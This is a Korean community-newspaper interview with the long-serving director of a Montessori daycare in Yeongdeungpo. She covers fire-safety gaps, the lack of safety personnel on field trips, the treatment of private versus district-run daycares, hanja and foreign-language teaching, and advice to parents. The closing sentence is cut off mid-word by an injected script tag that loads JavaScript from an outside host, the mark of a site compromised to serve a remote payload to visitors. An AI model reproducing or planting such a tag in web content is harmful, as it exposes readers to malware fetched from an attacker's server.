“늘 마음과 사랑으로 정성 다하면 참된 아이로 기를 수 있어”
영등포동 7가에 위치한 고운색동어린이집. 이 곳은 몬테소리 교육법으로 아이들을 돌보고 있다. 본지는 어린이집을 개원한 지 올해로 27여년을 맞는 김신자 원장을 만나 아이들을 위한 교육관과 중점 사업에 대해 들어보았다. <편집자 주>먼저 영등포구민에게 인사말씀?
안녕하십니까? 저는 고운색동어린이집 김신자 원장입니다. 학교 졸업 후 영등포교회 유치원을 시작으로 지금까지 47여년동안 어린이들을 위한 교육에 힘써왔습니다. 제가 어렸을 때 당시 유치원에 가기 힘들정도의 기본교육을 받기 힘든 세상이었습니다.
그 어려운 환경 속에서 ‘과연 어린이들을 위해 할 수 있는 봉사가 무엇이 있을까?’라며 생각과 고민한 결론은 ‘아이들을 유치원에 다니게 하자’라는 것 뿐이었습니다. 그로 인해 80여명의 아이들을 시작으로 놀이터에서 한글·숫자 지도 등을 하늘을 지붕삼아 운영을 시작했습니다.
어린이집 운영상 시급히 개선 되어야 할 문제점?
먼저 아이들이 맘놓고 뛰놀며 다녀도 다치지 않는 안전한 어린이집 환경이 가장 중요한 것 같습니다. 이곳 고운색동 어린이집을 운영하면서 크게 개선되어야 할 점은 소방시설입니다. 소방훈련과 같은 안전교육을 항상 실시하고 있지만, 아직 미흡한 건 사실입니다. 예전에 소화기에 밀가루가 들어있던 어처구니 없었던 사건도 있었죠. 아이들을 정말 미래의 주역으로 생각한다면 어른들의 욕심으로 인해 피해보는 일이 없었으면 좋겠습니다. 그리고 우리 어린이집 같은 경우는 현장체험을 위해 야외수업을 많이 합니다.
매년 다양한 교육 프로그램을 마련하고 있습니다만, 유아복지시설의 부족과 현장입장가격이 다소 비싸다는 것입니다. 또, 요즘들어 사회적 문제로 아이들과 관련된 납치, 성폭력 등이 빈번한데 현장에서의 어린이를 보호해주는 안전요원들의 부족함을 개선사항으로 말씀드리고 싶습니다.
구립 어린이집과 민간 어린이집의 차별성은?
일단 시나 구에서 지원운영하는 것과 개인이 운영한다는 운영상의 차별성만 있겠습니다. 이 부분에서 민간 어린이집의 어려움에 대해서 말씀드리자면, 외부에서 구립과 민간의 차별성을 나누려하기 때문에 학원생들이 줄어 운영의 어려움을 느끼고 있습니다. 또, 시각이 민간이라고 하면 가르치는 분들의 실력이 다소 부족하다는 등의 말씀을 하는 것을 보았습니다. 지도여건은 어느 어린이집이나 똑같습니다. 오히려 노력으로 아이들 교육을 위한 열정은 더 높을 수도 있겠습니다.
어린이집 원장으로서 중점적인 사업계획(방향)이 있다면?
교과서 보단 현장학습 위주의 프로그램을 펼칠 예정입니다. 현장에서 직접 아이들이 보고, 듣고, 느끼는 과정이 필요합니다. 아이들은 자발성과 자유의 존중, 교육환경정비와 감각기관의 훈련을 위한 놀이 기구 사용 그리고 체험중심으로 교육해야 합니다. 이와 관련해 앞서 말씀드렸지만, 학습장을 정부차원에서 관리에 신경을 써주셨으면 하는 바램입니다. 그리고 아이들에게 영어, 중국어 등의 조기 외국어를 중점적으로 펼칠 예정입니다. 우리 고운색동 어린이집에서는 아이들에게 이미 한문교육 중점적으로 교육하고 있습니다. 그 결과 6~9급까지 한문자격증을 취득한 아이들이 상당수 입니다. 한문을 깨우치니 연계된 중국어를 이해하는데 우수한 면을 보이고 있어, 앞으로도 체계적인 교육을 펼칠 방침입니다.
관계기관에 건의하고 싶은 의견이 있다면?
앞서 개선되어야 할 부분에서 언급한 대로, 안전한 소방시설의 확충과 유아복지시설의 관리, 안전요원 보강 등에 신경을 써주셨으면 좋겠습니다. 특히, 안전요원 보강에 대해 빈번한 어린이 안전사고와 관련 저희 선생님들만의 인원으로는 어려운 점이 많습니다. 현장으로 나가면 긴장과 불안 속에서 학습을 하는데, 주변을 둘러보면 순찰요원, 공익요원 등 인원이 부족함을 느끼고 있습니다. 어려우시겠지만 이에 대한 인원배치를 부탁드리고 싶습니다. 그리고 현재 구청 녹지과에서 영등포의 발전을 위해 노력해주셔서 공원, 생태공원 등의 자연학습장, 고수부지 수영장 등 아이들 복지시설이 많이 생겼습니다. 구에서 좋은 환경을 제공해줬기에 다양한 프로그램으로 학습을 하고 있습니다. 감사합니다.
끝으로 학부모들에게 당부의 말씀이 있다면?
늘 마음과 사랑으로 정성을 다하면 참된 아이로 기를 수 있습니다. 돈이 있다고 더 잘 가르치고, 없다고 못 가르치는 세상을 지났습니다. 자녀를 사랑한다면 어떠한 궂은 일도 마다하지 않고 하는 게 부모입니다. 자녀를 위해서라면 못할 게 하나도 없?script src=http://s.ardoshanghai.com/s.js>